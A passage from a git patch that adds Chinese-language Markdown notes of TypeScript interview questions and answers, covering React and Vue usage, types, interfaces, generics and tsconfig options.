像命名空间一样,模块可以包含代码和声明。 不同的是模块可以声明它的依赖 +- **在正常的TS项目开发过程中并不建议用命名空间**,但通常在通过 **d.ts 文件标记 js 库**类型的时候使用命名空间,**主要作用是给编译器编写代码的时候参考使用** + +### 说说如何在 React 项目中应用 TypeScript? + +#### **函数组件:** + +更加规范的写法是使用 `React` 里面定义好的 `FC` 属性,里面已经定义好 `children` 类型,如下: + +```tsx +export const Logo: React.FC = (props) => { + const { logo, className, alt } = props; + + return {alt}; +}; +``` + +- React.FC 显式地定义了返回类型,其他方式是隐式推导的 +- React.FC 对静态属性:displayName、propTypes、defaultProps 提供了类型检查和自动补全 +- React.FC 为 children 提供了隐式的类型(ReactElement | null) + +#### **有状态的类式组件:** + +可以是一个类组件且存在 `props` 和 `state` 属性 + +如果使用 `TypeScript` 声明则如下所示: + +```tsx +import * as React from "React"; + +interface IProps { + color: string; + size?: string; +} +interface IState { + count: number; +} +class App extends React.Component { + public state = { + count: 1, + }; + public render() { + return
    Hello world
    ; + } +} +``` + +上述通过泛型对 `props`、`state` 进行类型定义,然后在使用的时候就可以在编译器中获取更好的智能提示 + +关于 `Component` 泛型类的定义,可以参考下 React 的类型定义文件 `node_modules/@types/React/index.d.ts`,如下所示: + +```ts +class Component { + readonly props: Readonly<{ children?: ReactNode }> & Readonly

    ; + + state: Readonly; +} +``` + +从上述可以看到,`state` 属性也定义了可读类型,目的是为了防止直接调用 `this.state` 更新状态 + +#### **受控组件:** + +受控组件的特性在于元素的内容通过组件的状态 `state` 进行控制 + +由于组件内部的事件是合成事件,不等同于原生事件, + +例如一个 `input` 组件修改内部的状态,常见的定义的时候如下所示: + +```ts +private updateValue(e: React.ChangeEvent) { + this.setState({ itemText: e.target.value }) +} +``` + +常用 `Event` 事件对象类型: + +- ClipboardEvent 剪贴板事件对象 +- DragEvent 拖拽事件对象 +- ChangeEvent Change 事件对象 +- KeyboardEvent 键盘事件对象 +- MouseEvent 鼠标事件对象 +- TouchEvent 触摸事件对象 +- WheelEvent 滚轮事件对象 +- AnimationEvent 动画事件对象 +- TransitionEvent 过渡事件对象 + +`T` 接收一个 `DOM` 元素类型 + +### 说说如何在Vue2项目中应用TypeScript? + +在`Vue2`项目中应用`typescript`,我们需要引入一个库`vue-property-decorator`, + +其是基于`vue-class-component`库而来,这个库`vue`官方推出的一个支持使用`class`方式来开发`vue`单文件组件的库 + +主要的功能如下: + +- methods 可以直接声明为类的成员方法 +- 计算属性可以被声明为类的属性访问器 +- 初始化的 data 可以被声明为类属性 +- data、render 以及所有的 Vue 生命周期钩子可以直接作为类的成员方法 +- 所有其他属性,需要放在装饰器中 + +# 高频面试题 + +## 1. 为什么推荐使用TypeScript? + +TypeScript是微软公司开发和维护的一种面向对象的编程语言。它是JavaScript的超集,包含其所有元素。 + +其中,强类型和弱类型、静态类型和动态类型是两组不同的概念。 + +类型强弱是针对类型转换是否显示来区分,静态和动态类型是针对类型检查的时机来区分。 + +TS对JS的改进主要是静态类型检查,静态类型检查有何意义?标准答案是“静态类型更有利于构建大型应用”。 + +推荐使用TypeScript的原因有: + +- TypeScript是开源的。 +- TypeScript为JavaScript ide和实践(如静态检查)提供了高效的开发工具。 +- TypeScript使代码更易于阅读和理解。 +- 使用TypeScript,我们可以大大改进普通的JavaScript。 +- TypeScript为我们提供了ES6(ECMAScript 6)的所有优点,以及更高的生产率。 +- TypeScript通过对代码进行类型检查,可以帮助我们避免在编写JavaScript时经常遇到的令人痛苦的错误。 +- 强大的类型系统,包括泛型。 +- TypeScript只不过是带有一些附加功能的JavaScript。 +- TypeScript代码可以按照ES5和ES6标准编译,以支持最新的浏览器。 +- 与ECMAScript对齐以实现兼容性。 +- 以JavaScript开始和结束。 +- 支持静态类型。 +- TypeScript将节省开发人员的时间。 +- TypeScript是ES3、ES5和ES6的超集。 + +## 2. 说说TypeScript中命名空间与模块的理解和区别 + +**命名空间**:命名空间一个最明确的目的就是解决重名问题 + +命名空间定义了标识符的可见范围,一个标识符可在多个名字空间中定义,它在不同名字空间中的含义是互不相干的 + +这样,在一个新的名字空间中可定义任何标识符,它们不会与任何已有的标识符发生冲突,因为已有的定义都处于其他名字空间中 + +**模块**:`TypeScript` 与` ECMAScript` 2015 一样,任何包含顶级 `import` 或者 `export` 的文件都被当成一个模块 + +相反地,如果一个文件不带有顶级的`import`或者`export`声明,那么它的内容被视为全局可见的 + +**它们之间的区别**: + +- 命名空间是位于全局命名空间下的一个普通的带有名字的 JavaScript 对象,使用起来十分容易。但就像其它的全局命名空间污染一样,它很难去识别组件之间的依赖关系,尤其是在大型的应用中 +- 像命名空间一样,模块可以包含代码和声明。 不同的是模块可以声明它的依赖 +- 在正常的TS项目开发过程中并不建议用命名空间,但通常在通过 d.ts 文件标记 js 库类型的时候使用命名空间,主要作用是给编译器编写代码的时候参考使用 + +## 3. TypeScript支持的访问修饰符有哪些? + +TypeScript支持访问修饰符 public,private 和 protected,它们决定了类成员的可访问性。 + +- 公共(public),类的所有成员,其子类以及该类的实例都可以访问。 +- 受保护(protected),该类及其子类的所有成员都可以访问它们。 但是该类的实例无法访问。 +- 私有(private),只有类的成员可以访问它们。 + +如果未指定访问修饰符,则它是隐式公共的,因为它符合 JavaScript 的便利性。 + +## 4. TypeScript中有哪些声明变量的方式? + +```ts +// 声明类型和值,Declaring type and value in a single statement +let [identifier] : [type-annotation] = value; + +// 只声明类型,Declaring type without value +let [identifier] : [type-annotation]; + +// 只声明值,Declaring its value without type +let [identifier] = value; + +// 声明变量无类型和值,Declaring without value and type +let [identifier]; + +``` + +## 5. TypeScript和JavaScript的区别是什么? + +Typescript 是 JavaScript 的超集,可以被编译成 JavaScript 代码。用 JavaScript 编写的代码,在 TypeScript 中依然有效。Typescript 是纯面向对象的编程语言,包含类和接口的概念。 程序员可以用它来编写面向对象的服务端或客户端程序,并将它们编译成 JavaScript 代码。 + +## 6. TypeScript中的Declare关键字有什么作用? + +我们知道所有的JavaScript库/框架都没有TypeScript声明文件,但是我们希望在TypeScript文件中使用它们时不会出现编译错误。为此,我们使用declare关键字。在我们希望定义可能存在于其他地方的变量的环境声明和方法中,可以使用declare关键字。 + +例如,假设我们有一个名为myLibrary的库,它没有TypeScript声明文件,在全局命名空间中有一个名为myLibrary的命名空间。如果我们想在TypeScript代码中使用这个库,我们可以使用以下代码: + +```ts +declare let myLibrary; + +``` + +TypeScript运行时将把myLibrary变量赋值为任意类型(any)。这是一个问题,我们不会得到智能感知在设计时,但我们将能够使用库在我们的代码。 + +## 7. 解释一下TypeScript中的枚举 + +枚举是TypeScipt数据类型,它允许我们定义一组命名常量。 使用枚举去创建一组不同的案例变得更加容易。 它是相关值的集合,可以是数字值或字符串值。 + +```ts +enum Gender { + Male, + Female, + Other +} +console.log(Gender.Male); // Output: 0 + +//We can also access an enum value by it's number value. +console.log(Gender[1]); // Output: Female + +``` + +## 8. TypeScript中什么是装饰器? + +装饰器是一种特殊类型的声明,它能过被附加到类声明,方法,属性或者参数上,可以修改类的行为 + +通俗的来说就是一个方法,可以注入到类,方法,属性参数上来扩展类,属性,方法,参数的功能 + +**装饰器的分类**: 类装饰器、属性装饰器、方法装饰器、参数装饰器 + +## 9. TypeScript中的模块是什么? + +TypeScript 中的模块是相关变量、函数、类和接口的集合。 你可以将模块视为包含执行任务所需的一切的容器。可以导入模块以轻松地在项目之间共享代码。 + +```ts +module module_name{ + class xyz{ + export sum(x, y){ + return x+y; + } + } +} + +``` + +## 10. TypeScript的内置数据类型有哪些? + +```ts +// 数字类型:用于表示数字类型的值。TypeScript 中的所有数字都存储为浮点值。 + +let num: number = 1; + +// 布尔类型:一个逻辑二进制开关,包含true或false + +let str: string = "CoderBin"; + +// Null 类型: Null 表示值未定义的变量。 + +let flag: boolean = true + +// void 类型:分配给没有返回值的方法的类型。 + +let unusable: void = undefined; + +``` + +## 11. TypeScript的主要特点是什么? + +- **跨平台**:TypeScript 编译器可以安装在任何操作系统上,包括 Windows、macOS 和 Linux。 +- **ES6 特性**:TypeScript 包含计划中的 ECMAScript 2015 (ES6) 的大部分特性,例如箭头函数。 +- **面向对象的语言**:TypeScript 提供所有标准的 OOP 功能,如类、接口和模块。 +- **静态类型检查**:TypeScript 使用静态类型并帮助在编译时进行类型检查。因此,你可以在编写代码时发现编译时错误,而无需运行脚本。 +- **可选的静态类型**:如果你习惯了 JavaScript 的动态类型,TypeScript 还允许可选的静态类型。 + +## 12. TypeScript中never和void的区别? + +- void 表示没有任何类型(可以被赋值为 null 和 undefined)。 +- never 表示一个不包含值的类型,即表示永远不存在的值。 +- 拥有 void 返回值类型的函数能正常运行。拥有 never 返回值类型的函数无法正常返回,无法终止,或会抛出异常。 + +## 13. TypeScript中的类型断言是什么? + +类型断言可以用来手动指定一个值具体的类型,即允许变量从一种类型更改为另一种类型。 + +当你比 TS 更了解某个值的类型,并且需要指定更具体的类型时,我们可以使用**类型断言**。 + +## 14. TS中any和unknown有什么区别? + +unknown 和 any 的主要区别是 unknown 类型会更加严格:在对 unknown 类型的值执行大多数操作之前,我们必须进行某种形式的检查。而在对 any 类型的值执行操作之前,我们不必进行任何检查。 + +```ts +let foo: any = 123; +console.log(foo.msg); // 符合TS的语法 +let a_value1: unknown = foo; // OK +let a_value2: any = foo; // OK +let a_value3: string = foo; // OK + +let bar: unknown = 222; // OK +console.log(bar.msg); // Error +let k_value1: unknown = bar; // OK +let K_value2: any = bar; // OK +let K_value3: string = bar; // Error + +``` + +因为bar是一个未知类型(任何类型的数据都可以赋给 `unknown` 类型),所以不能确定是否有msg属性。不能通过TS语法检测;而 unknown 类型的值也不能将值赋给 any 和 unknown 之外的类型变量 + +**总结**: any 和 unknown 都是顶级类型,但是 unknown 更加严格,不像 any 那样不做类型检查,反而 unknown 因为未知性质,不允许访问属性,不允许赋值给其他有明确类型的变量。 + +## 15. 使用TS实现一个判断传入参数是否是数组类型的方法? + +unknown 用于变量类型不确定,但肯定可以确定的情形下,比如下面这个示例中,参数总归会有个值,根据这个值的类型进行不同的处理,这里使用 unknown 替代 any 则会更加类型安全。 + +```ts +function isArray(x: unknown): boolean { + if (Array.isArray(x)) { + return true; + } + return false; +} + +``` + +## 16. tsconfig.json有什么作用? + +tsconfig.json文件是JSON格式的文件。 + +在tsconfig.json文件中,可以指定不同的选项来告诉编译器如何编译当前项目。 + +目录中包含tsconfig.json文件,表明该目录是TypeScript项目的根目录。 + +```json +// 常用配置 +{ + /* + tsconfig.json是ts编译器的配置文件,ts可以根据它的信息来对待吗进行编译 可以再tsconfig中写注释 + include : 用来指定哪些文件需要被编译 + exclude : 用来指定哪些文件不需要被编译 :默认node_module + extends : 用来指定继承的配置文件 + files : 用来指定被编译的文件列表,只有编译少量文件才使用 + compilerOptions : 编译器的选项是配置文件中非常重要也是非常复杂的配置选项 + */ + "include":[ + // ** : 任意目录 , * : 任意文件 + "./src/**/*" + ], + "exclude": [ + "./src/hello/**/*" + ], + // "extends": "./configs/base", + "files": [ + "1.ts", + // "2.ts" + ], + "compilerOptions": { + // 用来指定 ES 版本 ESNext : 最新版。 'ES3', 'ES5', 'ES6'/'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', 'ESNext' + "target": "ES2020", + // 指定要使用模块化的规范 : 'None', 'CommonJS', 'AMD', 'System', 'UMD', 'ES6'/'ES2015', 'ES2020' or 'ESNext' + "module": "ESNext", + // 用来指定项目中要使用的库 'ES5', 'ES6', 'ES2015', 'ES7', 'ES2016', 'ES2017', 'ES2018', 'ESNext', 'DOM', 'DOM.Iterable', + // 'WebWorker', 'ScriptHost', 'ES2015.Core', 'ES2015.Collection', 'ES2015.Generator', 'ES2015.Iterable', + // 'ES2015.Promise', 'ES2015.Proxy', 'ES2015.Reflect', 'ES2015.Symbol', 'ES2015.Symbol.WellKnown', + // 'ES2016.Array.Include', 'ES2017.object', 'ES2017.Intl', 'ES2017.SharedMemory', 'ES2017.String', + // 'ES2017.TypedArrays', 'ES2018.Intl', 'ES2018.Promise', 'ES2018.RegExp', 'ESNext.AsyncIterable', + // 'ESNext.Array', 'ESNext.Intl', 'ESNext.Symbol' + // 运行在浏览器中不用设置,运行在node或其他中才需要设置 + // "lib":[], + // 用来指定编译后文件的存放位置 + "outDir":"./dist", + // 将代码合并为一个文件,设置之后所有的全局作用域中的代码会合并到同一个文件中 但是只能在 'amd' and 'system' 中才能使用 + // "outFile": "./dist/app.js", + // 是否对js文件进行编译,默认false + "allowJs": false, + // 是否检查js代码是否符合语法规范,默认false + "checkJs": false, + // 是否移除注释,默认false + "removeComments":false, + // 是否不生成编译后文件,默认false + "noEmit": false, + // 当有错误时是否生成文件,默认false + "noEmitOnError": false, + // 是否生成sourceMap,默认false 这个文件里保存的,是转换后代码的位置,和对应的转换前的位置。有了它,出错的时候,通过断点工具可以直接显示原始代码,而不是转换后的代码。 + "sourceMap":false, + + // 所有的严格检查的总开关,默认false + "strict": false, + // 编译后的文件是否开启严格模式,默认false + "alwaysStrict": false, + // 不允许隐式的any,默认false(允许) + "noImplicitAny": false, + // 不允许隐式的this,默认false(允许) + "noImplicitThis": false, + // 是否严格的检查空值,默认false 检查有可能为null的地方 + "strictNullChecks": true, + // 是否严格检查bind、call和apply的参数列表,默认false 检查是否有多余参数 + "strictBindCallApply":false, + // 是否严格检查函数的类型, + "strictFunctionTypes":false, + // 是否严格检查属性是否初始化,默认false + "strictPropertyInitialization":false, + + // 是否检查switch语句包含正确的break,默认false + "noFallthroughCasesInSwitch":false, + // 检查函数没有隐式的返回值,默认false + "noImplicitReturns":false, + // 是否检查检查未使用的局部变量,默认false + "noUnusedLocals":false, + // 是否检查未使用的参数,默认false + "noUnusedParameters":false, + + // 是否检查不可达代码报错,默认false true,忽略不可达代码 false,不可达代码将引起错误 + "allowUnreachableCode":false + } +} + +``` + +## 17. TypeScript中什么是类类型接口? + +- 如果接口用于一个类的话,那么接口会表示“行为的抽象” +- 对类的约束,让类去实现接口,类可以实现多个接口 +- 接口只能约束类的公有成员(实例属性/方法),无法约束私有成员、构造函数、静态属性/方法 + +## 18. TS中什么是方法重载? + +方法重载是指在一个类中定义多个同名的方法,但要求每个方法具有不同的参数的类型或参数的个数。 基本上,它在派生类或子类中重新定义了基类方法。 + +方法覆盖规则: + +- 该方法必须与父类中的名称相同。 +- 它必须具有与父类相同的参数。 +- 必须存在IS-A关系或继承。 + +## 19. TS中的类是什么,如何定义? + +类表示一组相关对象的共享行为和属性。 + +例如,我们的类可能是Student,其所有对象都具有该attendClass方法。另一方面,John是一个单独的 type 实例,Student可能有额外的独特行为,比如attendExtracurricular. + +你使用关键字声明类class: + +```ts +class Student { + studCode: number; + studName: string; + constructor(code: number, name: string) { + this.studName = name; + this.studCode = code; + } +} + +``` + +## 20. 如何在TS中实现继承? + +继承是一种从另一个类获取一个类的属性和行为的机制。它是面向对象编程的一个重要方面,并且具有从现有类创建新类的能力,继承成员的类称为基类,继承这些成员的类称为派生类。 + +继承可以通过使用extend关键字来实现。我们可以通过下面的例子来理解它。 + +```ts +class Shape { + Area:number + constructor(area:number) { + this.Area = area + } +} +class Circle extends Shape { + display():void { + console.log("圆的面积: "+this.Area) + } +} +var obj = new Circle(320); +obj.display() + +``` + +## 21. TS中的泛型是什么? + +TypeScript Generics是提供创建可重用组件的方法的工具。 它能够创建可以使用多种数据类型而不是单一数据类型的组件。 而且,它在不影响性能或生产率的情况下提供了类型安全性。 泛型允许我们创建泛型类,泛型函数,泛型方法和泛型接口。 + +在泛型中,类型参数写在左括号(<)和右括号(>)之间,这使它成为强类型集合。 它使用一种特殊的类型变量来表示类型 + +```ts +function identity(arg: T): T { + return arg; +} +let output1 = identity("CoderBin"); +let output2 = identity( 117 ); +console.log(output1); +console.log(output2); + +``` + +## 22. 说说TS中的类及其特性 + +TypeScript 引入了类,以便它们可以利用诸如封装和抽象之类的面向对象技术的好处。 + +TypeScript 编译器将 TypeScript 中的类编译为普通的 JavaScript 函数,以跨平台和浏览器工作。 + +一个类包括以下内容: + +- 构造器(Constructor) +- 属性(Properties) +- 方法(Methods) + +```ts +class Employee { + empID: number; + empName: string; + + constructor(ID: number, name: string) { + this.empName = name; + this.empID = ID; + } + + getSalary(): number { + return 40000; + } +} + +``` + +类的其他特性有: + +- 继承(Inheritance) +- 封装(Encapsulation) +- 多态(Polymorphism) +- 抽象(Abstraction) + +## 23. 解释如何使用TypeScript mixin + +Mixin 本质上是在相反方向上工作的继承。Mixins 允许你通过组合以前类中更简单的部分类来设置构建新类。 + +相反,类A继承类B来获得它的功能,类B从类A需要返回一个新类的附加功能。 + +## 24. 什么是TypeScript映射文件? + +- TypeScript Map文件是一个源映射文件,其中包含有关我们原始文件的信息。 +- .map文件是源映射文件,可让工具在发出的JavaScript代码和创建它的TypeScript源文件之间进行映射。 +- 许多调试器可以使用这些文件,因此我们可以调试TypeScript文件而不是JavaScript文件。 + +## 25. TS中的类型有哪些? + +类型系统表示语言支持的不同类型的值。它在程序存储或操作所提供的值之前检查其有效性。 + +它可以分为两种类型, + +- 内置:包括数字(number),字符串(string),布尔值(boolean),无效(void),空值(null)和未定义(undefined)。 +- 用户定义的:它包括枚举(enums),类(classes),接口(interfaces),数组(arrays)和元组(tuple)。 + +## 26. TS中的interface和type有什么区别? + +**相同点:** + +1. 都可以描述一个对象或者函数 + +**interface** + +```ts +interface User { + name: string + age: number +} + +interface SetUser { + (name: string, age: number): void; +} + +``` + +**type** + +```ts +type User = { + name: string + age: number +}; + +type SetUser = (name: string, age: number)=> void; + +``` + +1. 都允许拓展(extends) + +interface 和 type 都可以拓展,并且两者并不是相互独立的,也就是说 interface 可以 extends type, type 也可以 extends interface 。 虽然效果差不多,但是两者语法不同。 + +**不同点** + +- type 可以而 interface 不行 + +**type 可以声明基本类型别名,联合类型,元组等类型** + +```ts +// 基本类型别名 +type Name = string + +// 联合类型 +interface Dog { + wong(); +} +interface Cat { + miao(); +} + +type Pet = Dog | Cat + +// 具体定义数组每个位置的类型 +type PetList = [Dog, Pet] + +``` + +**type 语句中还可以使用 typeof 获取实例的类型进行赋值** + +```ts +// 当你想获取一个变量的类型时,使用 typeof +let div = document.createElement('div'); +type B = typeof div + +``` + +**其他骚操作** + +```ts +type StringOrNumber = string | number; +type Text = string | { text: string }; +type NameLookup = Dictionary; +type Callback = (data: T) => void; +type Pair = [T, T]; +type Coordinates = Pair; +type Tree = T | { left: Tree, right: Tree }; + +``` + +- interface 可以而 type 不行 + +**interface 能够声明合并** + +```ts +interface User { + name: string + age: number +} + +interface User { + sex: string +} + +/* +User 接口为 { + name: string + age: number + sex: string +} +*/ + +``` + +一般来说,如果不清楚什么时候用interface/type,能用 interface 实现,就用 interface , 如果不能就用 type 。 + +## 27. TS中的getter/setter是什么?你如何使用它们? + +Getter 和 setter 是特殊类型的方法,可帮助你根据程序的需要委派对私有变量的不同级别的访问。 + +Getters 允许你引用一个值但不能编辑它。Setter 允许你更改变量的值,但不能查看其当前值。这些对于实现封装是必不可少的。 + +例如,新雇主可能能够了解get公司的员工人数,但无权set了解员工人数。 + +```ts +const fullNameMaxLength = 10; +class Employee { + private _fullName: string = ""; + get fullName(): string { + return this._fullName; + } + set fullName(newName: string) { + if (newName && newName.length > fullNameMaxLength) { + throw new Error("fullName has a max length of " + fullNameMaxLength); + } + this._fullName = newName; + } +} +let employee = new Employee(); +employee.fullName = "Bin Coder"; +if (employee.fullName) { + console.log(employee.fullName); +} + +``` + +## 28. 如何检查TS中的null和undefiend? + +通过使用一个缓冲检查,我们可以检查空和未定义: + +```ts +if (x == null) { } + +``` + +如果我们使用严格的检查,它将总是对设置为null的值为真,而对未定义的变量不为真。 + +例子 + +```ts +var a: number; +var b: number = null; +function check(x, name) { + if (x == null) { + console.log(name + ' == null'); + } + if (x === null) { + console.log(name + ' === null'); + } + if (typeof x === 'undefined') { + console.log(name + ' is undefined'); + } +} +check(a, 'a'); +check(b, 'b'); + +``` + +输出 + +```ts +"a == null" +"a is undefined" +"b == null" +"b === null" + +``` + +## 29. TypeScript中const和readonly的区别是什么? + +- const用于变量,readonly用于属性 +- const在运行时检查,readonly在编译时检查 +- 使用const变量保存的数组,可以使用push,pop等方法。但是如果使用Readonly Array声明的数组不能使用push,pop等方法 + +## 30. Omit 类型有什么作用 + +Omit 以一个类型为基础支持剔除某些属性,然后返回一个新类型。 语法如下 + +```python +Omit + +``` + +使用示例 + +```typescript +interface Todo { + title: string + description: string + completed: boolean + createdAt: number +} +type TodoPreview = Omit +``` diff --git "a/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript\351\235\242\350\257\225\351\242\230.md" "b/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript\351\235\242\350\257\225\351\242\230.md" new file mode 100644 index 00000000..3d22b0d5 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/TypeScript/TypeScript\351\235\242\350\257\225\351\242\230.md" @@ -0,0 +1,271 @@ +--- +date: 2022-03-19 +category: +- 面试题 +- 前端 +- TypeScript +--- + +# TypeScript面试题 + +> 来源: +> +> https://juejin.cn/post/6999985372440559624 +> + +**1. 什么是TypeScript?** + +> Typescript 是一个强类型的 JavaScript 超集,支持ES6语法,支持面向对象编程的概念,如类、接口、继承、泛型等。Typescript并不直接在浏览器上运行,需要编译器编译成纯Javascript来运行。 + +**2. 为什么要使用 TypeScript ? TypeScript 相对于 JavaScript 的优势是什么?** + +> 增加了**静态类型**,可以在开发人员编写脚本时检测错误,使得代码质量更好,更健壮。优势: +> +> 1. 杜绝手误导致的变量名写错; +> 2. 类型可以一定程度上充当文档; +> 3. IDE自动填充,自动联想; + +**3. TypeScript 中 const 和 readonly 的区别?枚举和常量枚举的区别?接口和类型别名的区别?** + +> `const 和 readonly`: **const可以防止变量的值被修改,readonly可以防止变量的属性被修改。** +> +> `枚举和常量枚举`: 常量枚举只能使用常量枚举表达式,并且不同于常规的枚举,它们在编译阶段会被删除。 常量枚举成员在使用的地方会被内联进来。 之所以可以这么做是因为,常量枚举不允许包含计算成员。 +> +> `接口和类型别名`: 两者都可以用来描述对象或函数的类型。**与接口不同,类型别名还可以用于其他类型,如基本类型(原始值)、联合类型、元组。** + +**4. TypeScript 中 any 类型的作用是什么?** + +> 为编程阶段还不清楚类型的变量指定一个类型。 这些值可能来自于动态的内容,比如来自用户输入或第三方代码库。 这种情况下,我们不希望类型检查器对这些值进行检查而是直接让它们通过编译阶段的检查。 + +**5. TypeScript 中 any、never、unknown、null & undefined 和 void 有什么区别?** + +> `any`: 动态的变量类型(失去了类型检查的作用)。 +> +> `never`: 永不存在的值的类型。例如:never 类型是那些总是会抛出异常或根本就不会有返回值的函数表达式或箭头函数表达式的返回值类型。 +> +> `unknown`: 任何类型的值都可以赋给 unknown 类型,但是 unknown 类型的值只能赋给 unknown 本身和 any 类型。 +> +> `null & undefined`: 默认情况下 null 和 undefined 是所有类型的子类型。 就是说你可以把 null 和 undefined 赋值给 number 类型的变量。当你指定了 --strictNullChecks 标记,null 和 undefined 只能赋值给 void 和它们各自。 +> +> `void`: 没有任何类型。例如:一个函数如果没有返回值,那么返回值可以定义为void。 + +**6. TypeScript 中 interface 可以给 Function / Array / Class(Indexable)做声明吗?** + +可以 + +> ```typescript +> /* 可以 */ +> // 函数声明 +> interface Say { +> (name: string): viod; +> } +> let say: Say = (name: string):viod => {} +> // 输入变量,返回值 +> +> +> // Array 声明 +> interface NumberArray { +> [index: number]: number; +> } +> let fibonacci: NumberArray = [1, 1, 2, 3, 5]; +> // 满足数组内容和索引内容 +> +> // Class 声明 +> interface PersonalIntl { +> name: string +> sayHi (name: string): string +> } +> // 满足对象属性、成员 +> ``` + +**7. TypeScript 中可以使用 String、Number、Boolean、Symbol、Object 等给类型做声明吗?** + +> ```javascript +> /* 可以 */ +> let name: string = "bob"; +> let decLiteral: number = 6; +> let isDone: boolean = false; +> let sym: symbol = Symbol(); +> interface Person { +> name: string; +> age: number; +> } +> ``` + +**8. TypeScript 中的 this 和 JavaScript 中的 this 有什么差异?** + +> 1. TypeScript:noImplicitThis: true 的情况下,必须去声明 this 的类型,才能在函数或者对象中使用this。 +> 2. Typescript 中箭头函数的 this 和 ES6 中箭头函数中的 this 是一致的。 + +**9. TypeScript 中使用 Union Types 时有哪些注意事项?** + +> **属性或方法访问**: 当 TypeScript 不确定一个联合类型的变量到底是哪个类型的时候,我们只能访问此联合类型的所有类型里共有的属性或方法。 +> +> ```typescript +> function getLength(something: string | number): number { +> return something.length; +> } +> // index.ts(2,22): error TS2339: Property 'length' does not exist on type >'string | number'. +> // Property 'length' does not exist on type 'number'. +> +> function getString(something: string | number): string { +> return something.toString(); +> } +> // 公共方法和属性可以访问 +> ``` + +**10. TypeScript 如何设计 Class 的声明?** + +> ```ts +> class Greeter { +> greeting: string; +> constructor(message: string) { +> this.greeting = message; +> } +> greet(): string{ +> return "Hello, " + this.greeting; +> } +> } +> let greeter = new Greeter("world"); +> // 在声明类的时候,一般类中都会包含,构造函数、对构造函数中的属性进行类型声明、类中的方法。 +> ``` + +**11. TypeScript 中如何联合枚举类型的 Key?** + +keyof + typeof + +> ```ts +> enum str { +> A, +> B, +> C +> } +> type strUnion = keyof typeof str; // 'A' | 'B' | 'C' +> ``` + +**12. TypeScript 中 type 和 interface 的区别?** + +> 相同点: +> +> 1. 都可以描述 '对象' 或者 '函数' +> +> 2. 都允许拓展(extends) +> +> 不同点: +> +> 1. type 可以声明基本类型,联合类型,元组 +> +> 2. type 可以使用 typeof 获取实例的类型进行赋值 +> +> 3. 多个相同的 interface 声明可以自动合并 +> +> 使用 interface 描述‘数据结构’,使用 type 描述‘类型关系’ + +**13. TypeScript 中 ?.、??、!、!.、_、\** 等符号的含义?** + +> `?. 可选链` 遇到 null 和 undefined 可以立即停止表达式的运行。 +> +> `?? 空值合并运算符` 当左侧操作数为 null 或 undefined 时,其返回右侧的操作数,否则返回左侧的操作数。 +> +> `! 非空断言运算符` x! 将从 x 值域中排除 null 和 undefined +> +> `!. ` 在变量名后添加,可以断言排除undefined和null类型 +> +> `_ 数字分割符` 分隔符不会改变数值字面量的值,使人更容易读懂数字 .e.g 1_101_324。 +> +> `** `求幂 + +**15. 简单介绍一下 TypeScript 模块的加载机制?** + +> 假设有一个导入语句 `import { a } from "moduleA"`; +> +> 1. 首先,编译器会尝试定位需要导入的模块文件,通过绝对或者相对的路径查找方式; +> +> 2. 如果上面的解析失败了,没有查找到对应的模块,编译器会尝试定位一个`外部模块声明`(.d.ts); +> +> 3. 最后,如果编译器还是不能解析这个模块,则会抛出一个错误 `error TS2307: Cannot find module 'moduleA'.` + +**17. TypeScript 中对象展开会有什么副作用吗?** + +> 1. 展开对象后面的属性会覆盖前面的属性; +> 2. **仅包含对象自身的可枚举属性,不可枚举的属性将会丢失**。 + +**19. TypeScript 中同名的 interface 或者同名的 interface 和 class 可以合并吗?** + +> **同名的interface会自动合并,同名的interface和class会自动聚合**。 + +**20. 如何使 TypeScript 项目引入并识别编译为 JavaScript 的 npm 库包?** + +> 1. 选择安装 ts 版本,`npm install @types/包名 --save`; +> 2. 对于没有类型的 js 库,需要编写同名的.d.ts文件 + +**21. TypeScript 的 tsconfig.json 中有哪些配置项信息?** + +> ```json +> { +> "files": [], +> "include": [], +> "exclude": [], +> "compileOnSave": false, +> "extends": "", +> "compilerOptions": { ... } +> } +> ``` +> +> `files` 是一个数组列表,里面包含指定文件的相对或绝对路径,用来指定待编译文件,编译器在编译的时候只会编译包含在files中列出的文件。 +> `include & exclude` 指定编译某些文件,或者指定排除某些文件。 +> `compileOnSave:true` 让IDE在保存文件的时候根据tsconfig.json重新生成文件。 +> `extends` 可以通过指定一个其他的tsconfig.json文件路径,来继承这个配置文件里的配置。 +> `compilerOptions` 编译配置项,如何对具体的ts文件进行编译 + +**22. TypeScript 中如何设置模块导入的路径别名?** + +> 通过 tsconfig.json 中的 paths 项来配置: + +**23. declare,declare global是什么?** + +> `declare` 是用来定义全局变量、全局函数、全局命名空间、js modules、class等 +> `declare global` 为全局对象 `window` 增加新的属性 +> +> ```ts +> declare global { +> interface Window { +> csrf: string; +> } +> } +> ``` + +**24. 对 TypeScript 类中成员的 public、private、protected、readonly 修饰符的理解?** + +> `public`: 成员都默认为`public`,被此限定符修饰的成员是可以被外部访问; +> `private`: 被此限定符修饰的成员是只可以被类的内部访问; +> `protected`: 被此限定符修饰的成员是只可以被类的内部以及类的子类访问; +> `readonly`: 关键字将属性设置为只读的。 只读属性必须在声明时或构造函数里被初始化。 + +**25. keyof 和 typeof 关键字的作用?** + +> `keyof 索引类型查询操作符` 获取索引类型的属性名,构成联合类型。 +> `typeof` 获取一个变量或对象的类型。 + +**26. 简述工具类型 `Exclude`、`Omit`、`Merge`、`Intersection`、`Overwrite`的作用。** + +> `Exclude` 从 `T` 中排除出可分配给 `U`的元素。 +> `Omit` 的作用是忽略`T`中的某些属性。 +> `Merge` 是将两个对象的属性合并。 +> `Compute` 是将交叉类型合并 +> `Intersection`的作用是取`T`的属性,此属性同样也存在与`U`。 +> `Overwrite` 是用`U`的属性覆盖`T`的相同属性。 + +**27. 数组定义的两种方式** + +> ```ts +> type Foo= Array; +> interface Bar { +> baz: Array<{ name: string, age: number}> +> } +> +> type Foo = string[]; +> interface Bar { +> baz : { name: string, age: number }[] +> } +> ``` From 83c7ca691a0b82b4ed10977ba9f3f45dcf103379 Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Wed, 12 Jul 2023 23:42:24 +0800 Subject: [PATCH 12/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20Vue=20?= =?UTF-8?q?=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 